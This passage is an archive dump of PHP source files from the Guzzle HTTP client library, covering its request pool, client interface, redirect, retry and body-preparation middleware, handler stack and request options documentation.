            throw new \RuntimeException("SSL certificate not found: {$value}");
        }

        $options['ssl']['local_cert'] = $value;
    }

    /**
     * @param mixed $value as passed via Request transfer options.
     */
    private function add_progress(RequestInterface $request, array &$options, $value, array &$params): void
    {
        self::addNotification(
            $params,
            static function ($code, $a, $b, $c, $transferred, $total) use ($value) {
                if ($code == \STREAM_NOTIFY_PROGRESS) {
                    // The upload progress cannot be determined. Use 0 for cURL compatibility:
                    // https://curl.se/libcurl/c/CURLOPT_PROGRESSFUNCTION.html
                    $value($total, $transferred, 0, 0);
                }
            }
        );
    }

    /**
     * @param mixed $value as passed via Request transfer options.
     */
    private function add_debug(RequestInterface $request, array &$options, $value, array &$params): void
    {
        if ($value === false) {
            return;
        }

        static $map = [
            \STREAM_NOTIFY_CONNECT => 'CONNECT',
            \STREAM_NOTIFY_AUTH_REQUIRED => 'AUTH_REQUIRED',
            \STREAM_NOTIFY_AUTH_RESULT => 'AUTH_RESULT',
            \STREAM_NOTIFY_MIME_TYPE_IS => 'MIME_TYPE_IS',
            \STREAM_NOTIFY_FILE_SIZE_IS => 'FILE_SIZE_IS',
            \STREAM_NOTIFY_REDIRECTED => 'REDIRECTED',
            \STREAM_NOTIFY_PROGRESS => 'PROGRESS',
            \STREAM_NOTIFY_FAILURE => 'FAILURE',
            \STREAM_NOTIFY_COMPLETED => 'COMPLETED',
            \STREAM_NOTIFY_RESOLVE => 'RESOLVE',
        ];
        static $args = ['severity', 'message', 'message_code', 'bytes_transferred', 'bytes_max'];

        $value = Utils::debugResource($value);
        $ident = $request->getMethod().' '.$request->getUri()->withFragment('');
        self::addNotification(
            $params,
            static function (int $code, ...$passed) use ($ident, $value, $map, $args): void {
                \fprintf($value, '<%s> [%s] ', $ident, $map[$code]);
                foreach (\array_filter($passed) as $i => $v) {
                    \fwrite($value, $args[$i].': "'.$v.'" ');
                }
                \fwrite($value, "\n");
            }
        );
    }

    private static function addNotification(array &$params, callable $notify): void
    {
        // Wrap the existing function if needed.
        if (!isset($params['notification'])) {
            $params['notification'] = $notify;
        } else {
            $params['notification'] = self::callArray([
                $params['notification'],
                $notify,
            ]);
        }
    }

    private static function callArray(array $functions): callable
    {
        return static function (...$args) use ($functions) {
            foreach ($functions as $fn) {
                $fn(...$args);
            }
        };
    }
}
PK
h�\L�+ll%vendor/guzzlehttp/guzzle/src/Pool.phpnu�[���<?php

namespace GuzzleHttp;

use GuzzleHttp\Promise as P;
use GuzzleHttp\Promise\EachPromise;
use GuzzleHttp\Promise\PromiseInterface;
use GuzzleHttp\Promise\PromisorInterface;
use Psr\Http\Message\RequestInterface;

/**
 * Sends an iterator of requests concurrently using a capped pool size.
 *
 * The pool will read from an iterator until it is cancelled or until the
 * iterator is consumed. When a request is yielded, the request is sent after
 * applying the "request_options" request options (if provided in the ctor).
 *
 * When a function is yielded by the iterator, the function is provided the
 * "request_options" array that should be merged on top of any existing
 * options, and the function MUST then return a wait-able promise.
 *
 * @final
 */
class Pool implements PromisorInterface
{
    /**
     * @var EachPromise
     */
    private $each;

    /**
     * @param ClientInterface $client   Client used to send the requests.
     * @param array|\Iterator $requests Requests or functions that return
     *                                  requests to send concurrently.
     * @param array           $config   Associative array of options
     *                                  - concurrency: (int) Maximum number of requests to send concurrently
     *                                  - options: Array of request options to apply to each request.
     *                                  - fulfilled: (callable) Function to invoke when a request completes.
     *                                  - rejected: (callable) Function to invoke when a request is rejected.
     */
    public function __construct(ClientInterface $client, $requests, array $config = [])
    {
        if (!isset($config['concurrency'])) {
            $config['concurrency'] = 25;
        }

        if (isset($config['options'])) {
            $opts = $config['options'];
            unset($config['options']);
        } else {
            $opts = [];
        }

        $iterable = P\Create::iterFor($requests);
        $requests = static function () use ($iterable, $client, $opts) {
            foreach ($iterable as $key => $rfn) {
                if ($rfn instanceof RequestInterface) {
                    yield $key => $client->sendAsync($rfn, $opts);
                } elseif (\is_callable($rfn)) {
                    yield $key => $rfn($opts);
                } else {
                    throw new \InvalidArgumentException('Each value yielded by the iterator must be a Psr7\Http\Message\RequestInterface or a callable that returns a promise that fulfills with a Psr7\Message\Http\ResponseInterface object.');
                }
            }
        };

        $this->each = new EachPromise($requests(), $config);
    }

    /**
     * Get promise
     */
    public function promise(): PromiseInterface
    {
        return $this->each->promise();
    }

    /**
     * Sends multiple requests concurrently and returns an array of responses
     * and exceptions that uses the same ordering as the provided requests.
     *
     * IMPORTANT: This method keeps every request and response in memory, and
     * as such, is NOT recommended when sending a large number or an
     * indeterminate number of requests concurrently.
     *
     * @param ClientInterface $client   Client used to send the requests
     * @param array|\Iterator $requests Requests to send concurrently.
     * @param array           $options  Passes through the options available in
     *                                  {@see \GuzzleHttp\Pool::__construct}
     *
     * @return array Returns an array containing the response or an exception
     *               in the same order that the requests were sent.
     *
     * @throws \InvalidArgumentException if the event format is incorrect.
     */
    public static function batch(ClientInterface $client, $requests, array $options = []): array
    {
        $res = [];
        self::cmpCallback($options, 'fulfilled', $res);
        self::cmpCallback($options, 'rejected', $res);
        $pool = new static($client, $requests, $options);
        $pool->promise()->wait();
        \ksort($res);

        return $res;
    }

    /**
     * Execute callback(s)
     */
    private static function cmpCallback(array &$options, string $name, array &$results): void
    {
        if (!isset($options[$name])) {
            $options[$name] = static function ($v, $k) use (&$results) {
                $results[$k] = $v;
            };
        } else {
            $currentFn = $options[$name];
            $options[$name] = static function ($v, $k) use (&$results, $currentFn) {
                $currentFn($v, $k);
                $results[$k] = $v;
            };
        }
    }
}
PK
h�\���TT0vendor/guzzlehttp/guzzle/src/ClientInterface.phpnu�[���<?php

namespace GuzzleHttp;

use GuzzleHttp\Exception\GuzzleException;
use GuzzleHttp\Promise\PromiseInterface;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\UriInterface;

/**
 * Client interface for sending HTTP requests.
 */
interface ClientInterface
{
    /**
     * The Guzzle major version.
     */
    public const MAJOR_VERSION = 7;

    /**
     * Send an HTTP request.
     *
     * @param RequestInterface $request Request to send
     * @param array            $options Request options to apply to the given
     *                                  request and to the transfer.
     *
     * @throws GuzzleException
     */
    public function send(RequestInterface $request, array $options = []): ResponseInterface;

    /**
     * Asynchronously send an HTTP request.
     *
     * @param RequestInterface $request Request to send
     * @param array            $options Request options to apply to the given
     *                                  request and to the transfer.
     */
    public function sendAsync(RequestInterface $request, array $options = []): PromiseInterface;

    /**
     * Create and send an HTTP request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well.
     *
     * @param string              $method  HTTP method.
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     *
     * @throws GuzzleException
     */
    public function request(string $method, $uri, array $options = []): ResponseInterface;

    /**
     * Create and send an asynchronous HTTP request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well. Use an array to provide a URL
     * template and additional variables to use in the URL template expansion.
     *
     * @param string              $method  HTTP method
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     */
    public function requestAsync(string $method, $uri, array $options = []): PromiseInterface;

    /**
     * Get a client configuration option.
     *
     * These options include default request options of the client, a "handler"
     * (if utilized by the concrete client), and a "base_uri" if utilized by
     * the concrete client.
     *
     * @param string|null $option The config option to retrieve.
     *
     * @return mixed
     *
     * @deprecated ClientInterface::getConfig will be removed in guzzlehttp/guzzle:8.0.
     */
    public function getConfig(string $option = null);
}
PK
h�\E�9��2vendor/guzzlehttp/guzzle/src/functions_include.phpnu�[���<?php

// Don't redefine the functions if included multiple times.
if (!\function_exists('GuzzleHttp\describe_type')) {
    require __DIR__.'/functions.php';
}
PK
h�\DS��3vendor/guzzlehttp/guzzle/src/RedirectMiddleware.phpnu�[���<?php

namespace GuzzleHttp;

use GuzzleHttp\Exception\BadResponseException;
use GuzzleHttp\Exception\TooManyRedirectsException;
use GuzzleHttp\Promise\PromiseInterface;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\UriInterface;

/**
 * Request redirect middleware.
 *
 * Apply this middleware like other middleware using
 * {@see \GuzzleHttp\Middleware::redirect()}.
 *
 * @final
 */
class RedirectMiddleware
{
    public const HISTORY_HEADER = 'X-Guzzle-Redirect-History';

    public const STATUS_HISTORY_HEADER = 'X-Guzzle-Redirect-Status-History';

    /**
     * @var array
     */
    public static $defaultSettings = [
        'max' => 5,
        'protocols' => ['http', 'https'],
        'strict' => false,
        'referer' => false,
        'track_redirects' => false,
    ];

    /**
     * @var callable(RequestInterface, array): PromiseInterface
     */
    private $nextHandler;

    /**
     * @param callable(RequestInterface, array): PromiseInterface $nextHandler Next handler to invoke.
     */
    public function __construct(callable $nextHandler)
    {
        $this->nextHandler = $nextHandler;
    }

    public function __invoke(RequestInterface $request, array $options): PromiseInterface
    {
        $fn = $this->nextHandler;

        if (empty($options['allow_redirects'])) {
            return $fn($request, $options);
        }

        if ($options['allow_redirects'] === true) {
            $options['allow_redirects'] = self::$defaultSettings;
        } elseif (!\is_array($options['allow_redirects'])) {
            throw new \InvalidArgumentException('allow_redirects must be true, false, or array');
        } else {
            // Merge the default settings with the provided settings
            $options['allow_redirects'] += self::$defaultSettings;
        }

        if (empty($options['allow_redirects']['max'])) {
            return $fn($request, $options);
        }

        return $fn($request, $options)
            ->then(function (ResponseInterface $response) use ($request, $options) {
                return $this->checkRedirect($request, $options, $response);
            });
    }

    /**
     * @return ResponseInterface|PromiseInterface
     */
    public function checkRedirect(RequestInterface $request, array $options, ResponseInterface $response)
    {
        if (\strpos((string) $response->getStatusCode(), '3') !== 0
            || !$response->hasHeader('Location')
        ) {
            return $response;
        }

        $this->guardMax($request, $response, $options);
        $nextRequest = $this->modifyRequest($request, $options, $response);

        // If authorization is handled by curl, unset it if URI is cross-origin.
        if (Psr7\UriComparator::isCrossOrigin($request->getUri(), $nextRequest->getUri()) && defined('\CURLOPT_HTTPAUTH')) {
            unset(
                $options['curl'][\CURLOPT_HTTPAUTH],
                $options['curl'][\CURLOPT_USERPWD]
            );
        }

        if (isset($options['allow_redirects']['on_redirect'])) {
            ($options['allow_redirects']['on_redirect'])(
                $request,
                $response,
                $nextRequest->getUri()
            );
        }

        $promise = $this($nextRequest, $options);

        // Add headers to be able to track history of redirects.
        if (!empty($options['allow_redirects']['track_redirects'])) {
            return $this->withTracking(
                $promise,
                (string) $nextRequest->getUri(),
                $response->getStatusCode()
            );
        }

        return $promise;
    }

    /**
     * Enable tracking on promise.
     */
    private function withTracking(PromiseInterface $promise, string $uri, int $statusCode): PromiseInterface
    {
        return $promise->then(
            static function (ResponseInterface $response) use ($uri, $statusCode) {
                // Note that we are pushing to the front of the list as this
                // would be an earlier response than what is currently present
                // in the history header.
                $historyHeader = $response->getHeader(self::HISTORY_HEADER);
                $statusHeader = $response->getHeader(self::STATUS_HISTORY_HEADER);
                \array_unshift($historyHeader, $uri);
                \array_unshift($statusHeader, (string) $statusCode);

                return $response->withHeader(self::HISTORY_HEADER, $historyHeader)
                                ->withHeader(self::STATUS_HISTORY_HEADER, $statusHeader);
            }
        );
    }

    /**
     * Check for too many redirects.
     *
     * @throws TooManyRedirectsException Too many redirects.
     */
    private function guardMax(RequestInterface $request, ResponseInterface $response, array &$options): void
    {
        $current = $options['__redirect_count']
            ?? 0;
        $options['__redirect_count'] = $current + 1;
        $max = $options['allow_redirects']['max'];

        if ($options['__redirect_count'] > $max) {
            throw new TooManyRedirectsException("Will not follow more than {$max} redirects", $request, $response);
        }
    }

    public function modifyRequest(RequestInterface $request, array $options, ResponseInterface $response): RequestInterface
    {
        // Request modifications to apply.
        $modify = [];
        $protocols = $options['allow_redirects']['protocols'];

        // Use a GET request if this is an entity enclosing request and we are
        // not forcing RFC compliance, but rather emulating what all browsers
        // would do.
        $statusCode = $response->getStatusCode();
        if ($statusCode == 303
            || ($statusCode <= 302 && !$options['allow_redirects']['strict'])
        ) {
            $safeMethods = ['GET', 'HEAD', 'OPTIONS'];
            $requestMethod = $request->getMethod();

            $modify['method'] = in_array($requestMethod, $safeMethods) ? $requestMethod : 'GET';
            $modify['body'] = '';
        }

        $uri = self::redirectUri($request, $response, $protocols);
        if (isset($options['idn_conversion']) && ($options['idn_conversion'] !== false)) {
            $idnOptions = ($options['idn_conversion'] === true) ? \IDNA_DEFAULT : $options['idn_conversion'];
            $uri = Utils::idnUriConvert($uri, $idnOptions);
        }

        $modify['uri'] = $uri;
        Psr7\Message::rewindBody($request);

        // Add the Referer header if it is told to do so and only
        // add the header if we are not redirecting from https to http.
        if ($options['allow_redirects']['referer']
            && $modify['uri']->getScheme() === $request->getUri()->getScheme()
        ) {
            $uri = $request->getUri()->withUserInfo('');
            $modify['set_headers']['Referer'] = (string) $uri;
        } else {
            $modify['remove_headers'][] = 'Referer';
        }

        // Remove Authorization and Cookie headers if URI is cross-origin.
        if (Psr7\UriComparator::isCrossOrigin($request->getUri(), $modify['uri'])) {
            $modify['remove_headers'][] = 'Authorization';
            $modify['remove_headers'][] = 'Cookie';
        }

        return Psr7\Utils::modifyRequest($request, $modify);
    }

    /**
     * Set the appropriate URL on the request based on the location header.
     */
    private static function redirectUri(
        RequestInterface $request,
        ResponseInterface $response,
        array $protocols
    ): UriInterface {
        $location = Psr7\UriResolver::resolve(
            $request->getUri(),
            new Psr7\Uri($response->getHeaderLine('Location'))
        );

        // Ensure that the redirect URI is allowed based on the protocols.
        if (!\in_array($location->getScheme(), $protocols)) {
            throw new BadResponseException(\sprintf('Redirect URI, %s, does not use one of the allowed redirect protocols: %s', $location, \implode(', ', $protocols)), $request, $response);
        }

        return $location;
    }
}
PK
h�\���0vendor/guzzlehttp/guzzle/src/RetryMiddleware.phpnu�[���<?php

namespace GuzzleHttp;

use GuzzleHttp\Promise as P;
use GuzzleHttp\Promise\PromiseInterface;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;

/**
 * Middleware that retries requests based on the boolean result of
 * invoking the provided "decider" function.
 *
 * @final
 */
class RetryMiddleware
{
    /**
     * @var callable(RequestInterface, array): PromiseInterface
     */
    private $nextHandler;

    /**
     * @var callable
     */
    private $decider;

    /**
     * @var callable(int)
     */
    private $delay;

    /**
     * @param callable                                            $decider     Function that accepts the number of retries,
     *                                                                         a request, [response], and [exception] and
     *                                                                         returns true if the request is to be
     *                                                                         retried.
     * @param callable(RequestInterface, array): PromiseInterface $nextHandler Next handler to invoke.
     * @param (callable(int): int)|null                           $delay       Function that accepts the number of retries
     *                                                                         and returns the number of
     *                                                                         milliseconds to delay.
     */
    public function __construct(callable $decider, callable $nextHandler, callable $delay = null)
    {
        $this->decider = $decider;
        $this->nextHandler = $nextHandler;
        $this->delay = $delay ?: __CLASS__.'::exponentialDelay';
    }

    /**
     * Default exponential backoff delay function.
     *
     * @return int milliseconds.
     */
    public static function exponentialDelay(int $retries): int
    {
        return (int) 2 ** ($retries - 1) * 1000;
    }

    public function __invoke(RequestInterface $request, array $options): PromiseInterface
    {
        if (!isset($options['retries'])) {
            $options['retries'] = 0;
        }

        $fn = $this->nextHandler;

        return $fn($request, $options)
            ->then(
                $this->onFulfilled($request, $options),
                $this->onRejected($request, $options)
            );
    }

    /**
     * Execute fulfilled closure
     */
    private function onFulfilled(RequestInterface $request, array $options): callable
    {
        return function ($value) use ($request, $options) {
            if (!($this->decider)(
                $options['retries'],
                $request,
                $value,
                null
            )) {
                return $value;
            }

            return $this->doRetry($request, $options, $value);
        };
    }

    /**
     * Execute rejected closure
     */
    private function onRejected(RequestInterface $req, array $options): callable
    {
        return function ($reason) use ($req, $options) {
            if (!($this->decider)(
                $options['retries'],
                $req,
                null,
                $reason
            )) {
                return P\Create::rejectionFor($reason);
            }

            return $this->doRetry($req, $options);
        };
    }

    private function doRetry(RequestInterface $request, array $options, ResponseInterface $response = null): PromiseInterface
    {
        $options['delay'] = ($this->delay)(++$options['retries'], $response, $request);

        return $this($request, $options);
    }
}
PK
h�\��HGMM6vendor/guzzlehttp/guzzle/src/PrepareBodyMiddleware.phpnu�[���<?php

namespace GuzzleHttp;

use GuzzleHttp\Promise\PromiseInterface;
use Psr\Http\Message\RequestInterface;

/**
 * Prepares requests that contain a body, adding the Content-Length,
 * Content-Type, and Expect headers.
 *
 * @final
 */
class PrepareBodyMiddleware
{
    /**
     * @var callable(RequestInterface, array): PromiseInterface
     */
    private $nextHandler;

    /**
     * @param callable(RequestInterface, array): PromiseInterface $nextHandler Next handler to invoke.
     */
    public function __construct(callable $nextHandler)
    {
        $this->nextHandler = $nextHandler;
    }

    public function __invoke(RequestInterface $request, array $options): PromiseInterface
    {
        $fn = $this->nextHandler;

        // Don't do anything if the request has no body.
        if ($request->getBody()->getSize() === 0) {
            return $fn($request, $options);
        }

        $modify = [];

        // Add a default content-type if possible.
        if (!$request->hasHeader('Content-Type')) {
            if ($uri = $request->getBody()->getMetadata('uri')) {
                if (is_string($uri) && $type = Psr7\MimeType::fromFilename($uri)) {
                    $modify['set_headers']['Content-Type'] = $type;
                }
            }
        }

        // Add a default content-length or transfer-encoding header.
        if (!$request->hasHeader('Content-Length')
            && !$request->hasHeader('Transfer-Encoding')
        ) {
            $size = $request->getBody()->getSize();
            if ($size !== null) {
                $modify['set_headers']['Content-Length'] = $size;
            } else {
                $modify['set_headers']['Transfer-Encoding'] = 'chunked';
            }
        }

        // Add the expect header if needed.
        $this->addExpectHeader($request, $options, $modify);

        return $fn(Psr7\Utils::modifyRequest($request, $modify), $options);
    }

    /**
     * Add expect header
     */
    private function addExpectHeader(RequestInterface $request, array $options, array &$modify): void
    {
        // Determine if the Expect header should be used
        if ($request->hasHeader('Expect')) {
            return;
        }

        $expect = $options['expect'] ?? null;

        // Return if disabled or if you're not using HTTP/1.1 or HTTP/2.0
        if ($expect === false || $request->getProtocolVersion() < 1.1) {
            return;
        }

        // The expect header is unconditionally enabled
        if ($expect === true) {
            $modify['set_headers']['Expect'] = '100-Continue';

            return;
        }

        // By default, send the expect header when the payload is > 1mb
        if ($expect === null) {
            $expect = 1048576;
        }

        // Always add if the body cannot be rewound, the size cannot be
        // determined, or the size is greater than the cutoff threshold
        $body = $request->getBody();
        $size = $body->getSize();

        if ($size === null || $size >= (int) $expect || !$body->isSeekable()) {
            $modify['set_headers']['Expect'] = '100-Continue';
        }
    }
}
PK
h�\l���""-vendor/guzzlehttp/guzzle/src/HandlerStack.phpnu�[���<?php

namespace GuzzleHttp;

use GuzzleHttp\Promise\PromiseInterface;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;

/**
 * Creates a composed Guzzle handler function by stacking middlewares on top of
 * an HTTP handler function.
 *
 * @final
 */
class HandlerStack
{
    /**
     * @var (callable(RequestInterface, array): PromiseInterface)|null
     */
    private $handler;

    /**
     * @var array{(callable(callable(RequestInterface, array): PromiseInterface): callable), (string|null)}[]
     */
    private $stack = [];

    /**
     * @var (callable(RequestInterface, array): PromiseInterface)|null
     */
    private $cached;

    /**
     * Creates a default handler stack that can be used by clients.
     *
     * The returned handler will wrap the provided handler or use the most
     * appropriate default handler for your system. The returned HandlerStack has
     * support for cookies, redirects, HTTP error exceptions, and preparing a body
     * before sending.
     *
     * The returned handler stack can be passed to a client in the "handler"
     * option.
     *
     * @param (callable(RequestInterface, array): PromiseInterface)|null $handler HTTP handler function to use with the stack. If no
     *                                                                            handler is provided, the best handler for your
     *                                                                            system will be utilized.
     */
    public static function create(callable $handler = null): self
    {
        $stack = new self($handler ?: Utils::chooseHandler());
        $stack->push(Middleware::httpErrors(), 'http_errors');
        $stack->push(Middleware::redirect(), 'allow_redirects');
        $stack->push(Middleware::cookies(), 'cookies');
        $stack->push(Middleware::prepareBody(), 'prepare_body');

        return $stack;
    }

    /**
     * @param (callable(RequestInterface, array): PromiseInterface)|null $handler Underlying HTTP handler.
     */
    public function __construct(callable $handler = null)
    {
        $this->handler = $handler;
    }

    /**
     * Invokes the handler stack as a composed handler
     *
     * @return ResponseInterface|PromiseInterface
     */
    public function __invoke(RequestInterface $request, array $options)
    {
        $handler = $this->resolve();

        return $handler($request, $options);
    }

    /**
     * Dumps a string representation of the stack.
     *
     * @return string
     */
    public function __toString()
    {
        $depth = 0;
        $stack = [];

        if ($this->handler !== null) {
            $stack[] = '0) Handler: '.$this->debugCallable($this->handler);
        }

        $result = '';
        foreach (\array_reverse($this->stack) as $tuple) {
            ++$depth;
            $str = "{$depth}) Name: '{$tuple[1]}', ";
            $str .= 'Function: '.$this->debugCallable($tuple[0]);
            $result = "> {$str}\n{$result}";
            $stack[] = $str;
        }

        foreach (\array_keys($stack) as $k) {
            $result .= "< {$stack[$k]}\n";
        }

        return $result;
    }

    /**
     * Set the HTTP handler that actually returns a promise.
     *
     * @param callable(RequestInterface, array): PromiseInterface $handler Accepts a request and array of options and
     *                                                                     returns a Promise.
     */
    public function setHandler(callable $handler): void
    {
        $this->handler = $handler;
        $this->cached = null;
    }

    /**
     * Returns true if the builder has a handler.
     */
    public function hasHandler(): bool
    {
        return $this->handler !== null;
    }

    /**
     * Unshift a middleware to the bottom of the stack.
     *
     * @param callable(callable): callable $middleware Middleware function
     * @param string                       $name       Name to register for this middleware.
     */
    public function unshift(callable $middleware, string $name = null): void
    {
        \array_unshift($this->stack, [$middleware, $name]);
        $this->cached = null;
    }

    /**
     * Push a middleware to the top of the stack.
     *
     * @param callable(callable): callable $middleware Middleware function
     * @param string                       $name       Name to register for this middleware.
     */
    public function push(callable $middleware, string $name = ''): void
    {
        $this->stack[] = [$middleware, $name];
        $this->cached = null;
    }

    /**
     * Add a middleware before another middleware by name.
     *
     * @param string                       $findName   Middleware to find
     * @param callable(callable): callable $middleware Middleware function
     * @param string                       $withName   Name to register for this middleware.
     */
    public function before(string $findName, callable $middleware, string $withName = ''): void
    {
        $this->splice($findName, $withName, $middleware, true);
    }

    /**
     * Add a middleware after another middleware by name.
     *
     * @param string                       $findName   Middleware to find
     * @param callable(callable): callable $middleware Middleware function
     * @param string                       $withName   Name to register for this middleware.
     */
    public function after(string $findName, callable $middleware, string $withName = ''): void
    {
        $this->splice($findName, $withName, $middleware, false);
    }

    /**
     * Remove a middleware by instance or name from the stack.
     *
     * @param callable|string $remove Middleware to remove by instance or name.
     */
    public function remove($remove): void
    {
        if (!is_string($remove) && !is_callable($remove)) {
            trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing a callable or string to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__);
        }

        $this->cached = null;
        $idx = \is_callable($remove) ? 0 : 1;
        $this->stack = \array_values(\array_filter(
            $this->stack,
            static function ($tuple) use ($idx, $remove) {
                return $tuple[$idx] !== $remove;
            }
        ));
    }

    /**
     * Compose the middleware and handler into a single callable function.
     *
     * @return callable(RequestInterface, array): PromiseInterface
     */
    public function resolve(): callable
    {
        if ($this->cached === null) {
            if (($prev = $this->handler) === null) {
                throw new \LogicException('No handler has been specified');
            }

            foreach (\array_reverse($this->stack) as $fn) {
                /** @var callable(RequestInterface, array): PromiseInterface $prev */
                $prev = $fn[0]($prev);
            }

            $this->cached = $prev;
        }

        return $this->cached;
    }

    private function findByName(string $name): int
    {
        foreach ($this->stack as $k => $v) {
            if ($v[1] === $name) {
                return $k;
            }
        }

        throw new \InvalidArgumentException("Middleware not found: $name");
    }

    /**
     * Splices a function into the middleware list at a specific position.
     */
    private function splice(string $findName, string $withName, callable $middleware, bool $before): void
    {
        $this->cached = null;
        $idx = $this->findByName($findName);
        $tuple = [$middleware, $withName];

        if ($before) {
            if ($idx === 0) {
                \array_unshift($this->stack, $tuple);
            } else {
                $replacement = [$tuple, $this->stack[$idx]];
                \array_splice($this->stack, $idx, 1, $replacement);
            }
        } elseif ($idx === \count($this->stack) - 1) {
            $this->stack[] = $tuple;
        } else {
            $replacement = [$this->stack[$idx], $tuple];
            \array_splice($this->stack, $idx, 1, $replacement);
        }
    }

    /**
     * Provides a debug string for a given callable.
     *
     * @param callable|string $fn Function to write as a string.
     */
    private function debugCallable($fn): string
    {
        if (\is_string($fn)) {
            return "callable({$fn})";
        }

        if (\is_array($fn)) {
            return \is_string($fn[0])
                ? "callable({$fn[0]}::{$fn[1]})"
                : "callable(['".\get_class($fn[0])."', '{$fn[1]}'])";
        }

        /** @var object $fn */
        return 'callable('.\spl_object_hash($fn).')';
    }
}
PK
h�\��n�*�*/vendor/guzzlehttp/guzzle/src/RequestOptions.phpnu�[���<?php

namespace GuzzleHttp;

/**
 * This class contains a list of built-in Guzzle request options.
 *
 * @see https://docs.guzzlephp.org/en/latest/request-options.html
 */
final class RequestOptions
{
    /**
     * allow_redirects: (bool|array) Controls redirect behavior. Pass false
     * to disable redirects, pass true to enable redirects, pass an
     * associative to provide custom redirect settings. Defaults to "false".
     * This option only works if your handler has the RedirectMiddleware. When
     * passing an associative array, you can provide the following key value
     * pairs:
     *
     * - max: (int, default=5) maximum number of allowed redirects.
     * - strict: (bool, default=false) Set to true to use strict redirects
     *   meaning redirect POST requests with POST requests vs. doing what most
     *   browsers do which is redirect POST requests with GET requests
     * - referer: (bool, default=false) Set to true to enable the Referer
     *   header.
     * - protocols: (array, default=['http', 'https']) Allowed redirect
     *   protocols.
     * - on_redirect: (callable) PHP callable that is invoked when a redirect
     *   is encountered. The callable is invoked with the request, the redirect
     *   response that was received, and the effective URI. Any return value
     *   from the on_redirect function is ignored.
     */
    public const ALLOW_REDIRECTS = 'allow_redirects';

    /**
     * auth: (array) Pass an array of HTTP authentication parameters to use
     * with the request. The array must contain the username in index [0],
     * the password in index [1], and you can optionally provide a built-in
     * authentication type in index [2]. Pass null to disable authentication
     * for a request.
     */
    public const AUTH = 'auth';

    /**
     * body: (resource|string|null|int|float|StreamInterface|callable|\Iterator)
     * Body to send in the request.
     */
    public const BODY = 'body';

    /**
     * cert: (string|array) Set to a string to specify the path to a file
     * containing a PEM formatted SSL client side certificate. If a password
     * is required, then set cert to an array containing the path to the PEM
     * file in the first array element followed by the certificate password
     * in the second array element.
     */
    public const CERT = 'cert';

    /**
     * cookies: (bool|GuzzleHttp\Cookie\CookieJarInterface, default=false)
     * Specifies whether or not cookies are used in a request or what cookie
     * jar to use or what cookies to send. This option only works if your
     * handler has the `cookie` middleware. Valid values are `false` and
     * an instance of {@see \GuzzleHttp\Cookie\CookieJarInterface}.
     */
    public const COOKIES = 'cookies';

    /**
     * connect_timeout: (float, default=0) Float describing the number of
     * seconds to wait while trying to connect to a server. Use 0 to wait
     * 300 seconds (the default behavior).
     */
    public const CONNECT_TIMEOUT = 'connect_timeout';

    /**
     * crypto_method: (int) A value describing the minimum TLS protocol
     * version to use.
     *
     * This setting must be set to one of the
     * ``STREAM_CRYPTO_METHOD_TLS*_CLIENT`` constants. PHP 7.4 or higher is
     * required in order to use TLS 1.3, and cURL 7.34.0 or higher is required
     * in order to specify a crypto method, with cURL 7.52.0 or higher being
     * required to use TLS 1.3.
     */
    public const CRYPTO_METHOD = 'crypto_method';

    /**
     * debug: (bool|resource) Set to true or set to a PHP stream returned by
     * fopen()  enable debug output with the HTTP handler used to send a
     * request.
     */
    public const DEBUG = 'debug';

    /**
     * decode_content: (bool, default=true) Specify whether or not
     * Content-Encoding responses (gzip, deflate, etc.) are automatically
     * decoded.
     */
    public const DECODE_CONTENT = 'decode_content';

    /**
     * delay: (int) The amount of time to delay before sending in milliseconds.
     */
    public const DELAY = 'delay';

    /**
     * expect: (bool|integer) Controls the behavior of the
     * "Expect: 100-Continue" header.
     *
     * Set to `true` to enable the "Expect: 100-Continue" header for all
     * requests that sends a body. Set to `false` to disable the
     * "Expect: 100-Continue" header for all requests. Set to a number so that
     * the size of the payload must be greater than the number in order to send
     * the Expect header. Setting to a number will send the Expect header for
     * all requests in which the size of the payload cannot be determined or
     * where the body is not rewindable.
     *
     * By default, Guzzle will add the "Expect: 100-Continue" header when the
     * size of the body of a request is greater than 1 MB and a request is
     * using HTTP/1.1.
     */
    public const EXPECT = 'expect';

    /**
     * form_params: (array) Associative array of form field names to values
     * where each value is a string or array of strings. Sets the Content-Type
     * header to application/x-www-form-urlencoded when no Content-Type header
     * is already present.
     */
    public const FORM_PARAMS = 'form_params';

    /**
     * headers: (array) Associative array of HTTP headers. Each value MUST be
     * a string or array of strings.
     */
    public const HEADERS = 'headers';

    /**
     * http_errors: (bool, default=true) Set to false to disable exceptions
     * when a non- successful HTTP response is received. By default,
     * exceptions will be thrown for 4xx and 5xx responses. This option only
     * works if your handler has the `httpErrors` middleware.
     */
    public const HTTP_ERRORS = 'http_errors';

    /**
     * idn: (bool|int, default=true) A combination of IDNA_* constants for
     * idn_to_ascii() PHP's function (see "options" parameter). Set to false to
     * disable IDN support completely, or to true to use the default
     * configuration (IDNA_DEFAULT constant).
     */
    public const IDN_CONVERSION = 'idn_conversion';

    /**
     * json: (mixed) Adds JSON data to a request. The provided value is JSON
     * encoded and a Content-Type header of application/json will be added to
     * the request if no Content-Type header is already present.
     */
    public const JSON = 'json';

    /**
     * multipart: (array) Array of associative arrays, each containing a
     * required "name" key mapping to the form field, name, a required
     * "contents" key mapping to a StreamInterface|resource|string, an
     * optional "headers" associative array of custom headers, and an
     * optional "filename" key mapping to a string to send as the filename in
     * the part. If no "filename" key is present, then no "filename" attribute
     * will be added to the part.
     */
    public const MULTIPART = 'multipart';

    /**
     * on_headers: (callable) A callable that is invoked when the HTTP headers
     * of the response have been received but the body has not yet begun to
     * download.
     */
    public const ON_HEADERS = 'on_headers';

    /**
     * on_stats: (callable) allows you to get access to transfer statistics of
     * a request and access the lower level transfer details of the handler
     * associated with your client. ``on_stats`` is a callable that is invoked
     * when a handler has finished sending a request. The callback is invoked
     * with transfer statistics about the request, the response received, or
     * the error encountered. Included in the data is the total amount of time
